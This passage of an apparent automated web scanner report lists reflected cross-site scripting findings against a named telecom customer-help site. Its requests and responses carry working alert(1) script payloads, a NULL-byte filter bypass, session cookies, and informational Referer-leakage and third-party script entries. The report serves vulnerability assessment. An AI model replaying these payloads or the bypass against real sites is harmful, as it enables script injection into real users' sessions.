GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8%004a45a"><script>alert(1)</script>0abdd169772&p_cat_lvl2=%7Eany%7E HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:04:22 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=99504 t=1315303462710885
RNT-Machine: 11
Vary: Accept-Encoding
Content-Length: 220404
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<a href="opensearch.php?q=&p_pv=1.67;2.68&p_cv=1.8.4a45a"><script>alert(1)</script>0abdd169772;2.u0&startPage=1">
...[SNIP]...

1.9. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cat_lvl2 parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the p_cat_lvl2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b2ff"%20a%3db%202d82d0d27f8 was submitted in the p_cat_lvl2 parameter. This input was echoed as 8b2ff" a=b 2d82d0d27f8 in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=8b2ff"%20a%3db%202d82d0d27f8 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:04:33 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=96616 t=1315303473435649
RNT-Machine: 14
Vary: Accept-Encoding
Content-Length: 201486
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<a href="opensearch.php?q=&p_pv=1.67;2.68&p_cv=2.8b2ff" a=b 2d82d0d27f8&startPage=1">
...[SNIP]...

1.10. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cat_lvl2 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the p_cat_lvl2 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 147b7'%3balert(1)//a6228aac8b3 was submitted in the p_cat_lvl2 parameter. This input was echoed as 147b7';alert(1)//a6228aac8b3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=147b7'%3balert(1)//a6228aac8b3 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:04:43 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=101017 t=1315303483059110
RNT-Machine: 06
Vary: Accept-Encoding
Content-Length: 201532
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<script type="text/javascript">
_alp_onload(1, '');
auto_populate(document._search, prod_array, '67,68', 'prods',false,false);
auto_populate(document._search, cat_array, '8,147b7';alert(1)//a6228aac8b3', 'cats',false,false);
</script>
...[SNIP]...

1.11. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cv parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the p_cv request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %008eba8"><script>alert(1)</script>0c43623ba42 was submitted in the p_cv parameter. This input was echoed as 8eba8"><script>alert(1)</script>0c43623ba42 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=X4Q7iXKh&p_lva=&p_li=&p_page=1&p_cv=1.62%3B2.u0%008eba8"><script>alert(1)</script>0c43623ba42&p_pv=&p_prods=&p_cats=62%2C0&p_hidden_prods=&cat_lvl1=62&cat_lvl2=0&p_search_text=&p_new_search=1 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!&p_li=
Cookie: TLTHID=87614926D86F10D80123C83B8B0A0670; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321429770-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_li%25253D%252526p_accessibility%25253D%252526p_redirect%25253D%252526p_page%25253D1%252526p_cv%25253D1.8%252526p_pv%25253D%252526p_prods%25253D%252526p_cats%25253D8%252526p_hidden_prods%25253D%252526cat_lvl1%25253D8%252526cat_lvl2%25253D0%252526p_search_text%25253Dxss%252526x%25253D55%252526y%25253D16%252526p_new_search%25253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fhelp_search.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_sp%25253DcF9zc%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:05:20 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=111300 t=1315303520787376
RNT-Machine: 13
Vary: Accept-Encoding
Content-Length: 220716
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<a href="opensearch.php?q=&p_pv=1.67;2.68&p_cv=1.62;2.u0.8eba8"><script>alert(1)</script>0c43623ba42&startPage=1">
...[SNIP]...

1.12. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_search_text parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the p_search_text request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %009fc55"><script>alert(1)</script>799c5384c24 was submitted in the p_search_text parameter. This input was echoed as 9fc55"><script>alert(1)</script>799c5384c24 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=X4Q7iXKh&p_lva=&p_li=&p_page=1&p_cv=1.62%3B2.u0&p_pv=&p_prods=&p_cats=62%2C0&p_hidden_prods=&cat_lvl1=62&cat_lvl2=0&p_search_text=%009fc55"><script>alert(1)</script>799c5384c24&p_new_search=1 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!&p_li=
Cookie: TLTHID=87614926D86F10D80123C83B8B0A0670; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321429770-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_li%25253D%252526p_accessibility%25253D%252526p_redirect%25253D%252526p_page%25253D1%252526p_cv%25253D1.8%252526p_pv%25253D%252526p_prods%25253D%252526p_cats%25253D8%252526p_hidden_prods%25253D%252526cat_lvl1%25253D8%252526cat_lvl2%25253D0%252526p_search_text%25253Dxss%252526x%25253D55%252526y%25253D16%252526p_new_search%25253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fhelp_search.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_sp%25253DcF9zc%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:05:55 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=123735 t=1315303555198205
RNT-Machine: 09
Vary: Accept-Encoding
Content-Length: 201867
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<a href="opensearch.php?q=9fc55"><script>alert(1)</script>799c5384c24&p_pv=1.67;2.68&p_cv=1.62;2.u0&startPage=1">
...[SNIP]...

2. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


2.1. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/help_search.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /cgi-bin/qwest.cfg/php/enduser/help_search.php?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!&p_li= HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=z*o_MoDk&p_lva=&p_li=&p_accessibility=&p_redirect=&p_page=1&p_cv=1.8&p_pv=&p_prods=&p_cats=8&p_hidden_prods=&cat_lvl1=8&cat_lvl2=0&p_search_text=xss&x=55&y=16&p_new_search=1
Cookie: TLTHID=808F7F82D86F10D8001CB484F44AC147; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321429770-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_li%25253D%252526p_accessibility%25253D%252526p_redirect%25253D%252526p_page%25253D1%252526p_cv%25253D1.8%252526p_pv%25253D%252526p_prods%25253D%252526p_cats%25253D8%252526p_hidden_prods%25253D%252526cat_lvl1%25253D8%252526cat_lvl2%25253D0%252526p_search_text%25253Dxss%252526x%25253D55%252526y%25253D16%252526p_new_search%25253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fhelp_search.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_sp%25253DcF9zc%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:03:53 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=111298 t=1315303433752949
RNT-Machine: 09
Vary: Accept-Encoding
Content-Length: 119598
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-US">
<!-- Head ->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>- -->
...[SNIP]...
</a> | <a href="http://storelocator.qwestapps.com/">Store Locator</a>
...[SNIP]...
</a> | <a href="http://www.dexknows.com/displayhome.ds">Dex Online</a>
...[SNIP]...
<!-- LivePerson Monitor Tag Script-->
<script language='JavaScript' type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&file=chatScript3&site=78221172&imageUrl=https://ecom2.qwest.com:4443/ebus/imgs/c2c/'></script>
...[SNIP]...

2.2. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=X4Q7iXKh&p_lva=&p_li=&p_page=1&p_cv=1.62%3B2.u0&p_pv=&p_prods=&p_cats=62%2C0&p_hidden_prods=&cat_lvl1=62&cat_lvl2=0&p_search_text=&p_new_search=1 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!&p_li=
Cookie: TLTHID=87614926D86F10D80123C83B8B0A0670; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321429770-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_li%25253D%252526p_accessibility%25253D%252526p_redirect%25253D%252526p_page%25253D1%252526p_cv%25253D1.8%252526p_pv%25253D%252526p_prods%25253D%252526p_cats%25253D8%252526p_hidden_prods%25253D%252526cat_lvl1%25253D8%252526cat_lvl2%25253D0%252526p_search_text%25253Dxss%252526x%25253D55%252526y%25253D16%252526p_new_search%25253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fhelp_search.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_sp%25253DcF9zc%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:04:03 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=170372 t=1315303443072550
RNT-Machine: 11
Vary: Accept-Encoding
Content-Length: 220767
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
</a> | <a href="http://storelocator.qwestapps.com/">Store Locator</a>
...[SNIP]...
<span style="FONT-FAMILY: Times New Roman; FONT-SIZE: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA">Go to <a href="https://qwest.centurylink.com/combined%20bill" target="_new">qwest.centurylink.com/combined bill</a>
...[SNIP]...
</b> If you will receive your CenturyLink -Verizon Wireless combined bill at a Minnesota address, you must visit <a href="http://www.verizonwireless.com/qwestloa">www.verizonwireless.com/qwestloa</a>
...[SNIP]...
</a> |
<a href="http://www.dexknows.com/displayhome.ds">Dex Online</a>
...[SNIP]...
<!-- LivePerson Monitor Tag Script-->
<script type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&amp;file=chatScript3&amp;site=78221172&amp;imageUrl=http://www.qwest.com/imgs/c2c/'></script>
...[SNIP]...
<noscript>
   <a href="http://www.omniture.com" title="Web Analytics"><img src="http://qwest.com/images/spacer.gif" height="1" width="1" border="0" alt="" />
...[SNIP]...
<!-- LivePerson Monitor Tag Script-->
<script language='JavaScript' type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&file=chatScript3&site=78221172&imageUrl=https://ecom2.qwest.com:4443/ebus/imgs/c2c/'></script>
...[SNIP]...

2.3. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=%7Eany%7E HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:03:38 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=138958 t=1315303418504436
RNT-Machine: 12
Vary: Accept-Encoding
Content-Length: 221370
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
</a> | <a href="http://storelocator.qwestapps.com/">Store Locator</a>
...[SNIP]...
<p style="MARGIN: 0in 0in 0pt" class="MsoNormal">Your questions and concerns are very important to us.&#160; Please visit our&#160;<a style="COLOR: #000080" href="https://qwest.centurylink.com/corporate/customerService/contactus/">customer service page</a>
...[SNIP]...
<p>Log into your MyAccount profile. Click on the My Profile link and then select "<a href="https://qwest.centurylink.com/MasterWebPortal/ManageMyAccount/accounts" target="_new">Manage accounts</a>
...[SNIP]...
<p>If you are switching your service to CenturyLink from another company and you would like to keep your existing phone number, please visit this page <a href="http://www.centurylink.com/home/comeback/">centurylink.com/comeback</a>
...[SNIP]...
</strong> button to pay your bill online from your bank account, or with a credit or debit card. You can also pay through <a href="https://qwest.centurylink.com/MasterWebPortal/freeRange/QuickPay.action" target="_self">Quick Bill Pay</a>
...[SNIP]...
<p>See&#160;<a href="http://cgi-bin/qwest.cfg/php/enduser/std_adp.php">How do I make a one-time payment?</a>
...[SNIP]...
<p>See also&#160;<a href="http://cgi-bin/qwest.cfg/php/enduser/std_adp.php">How do I sign up for CenturyLink automatic recurring payments?</a>
...[SNIP]...
<div>Go to <a href="http://www.centurylink.com/">http://www.centurylink.com/</a>
...[SNIP]...
<p>See<a href="http://cgi-bin/qwest.cfg/php/enduser/std_adp.php">How do I sign up for CenturyLink automatic recurring payments?</a>
...[SNIP]...
<li>Pay by mail&#160;<a href="https://qwest.centurylink.com/residential/manage/mailPayment.html">Locate the mailing address for your area</a>
...[SNIP]...
<p><a href="https://qwest.centurylink.com/residential/manage/payment_options.html">Learn more</a>
...[SNIP]...
<p><a href="https://qwest.centurylink.com/MasterWebPortal/residential/locallanding">Rates Vary By State</a>
...[SNIP]...
<p><a href="https://qwest.centurylink.com/FCCRates/">Rates Vary By State</a>
...[SNIP]...
<p><a href="https://qwest.centurylink.com/FCCRates/">Rates Vary By State</span>
...[SNIP]...
</a> |
<a href="http://www.dexknows.com/displayhome.ds">Dex Online</a>
...[SNIP]...
<!-- LivePerson Monitor Tag Script-->
<script type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&amp;file=chatScript3&amp;site=78221172&amp;imageUrl=http://www.qwest.com/imgs/c2c/'></script>
...[SNIP]...
<noscript>
   <a href="http://www.omniture.com" title="Web Analytics"><img src="http://qwest.com/images/spacer.gif" height="1" width="1" border="0" alt="" />
...[SNIP]...
<!-- LivePerson Monitor Tag Script-->
<script language='JavaScript' type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&file=chatScript3&site=78221172&imageUrl=https://ecom2.qwest.com:4443/ebus/imgs/c2c/'></script>
...[SNIP]...

3. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/help_search.php

Issue detail

The response dynamically includes the following script from another domain:

Request

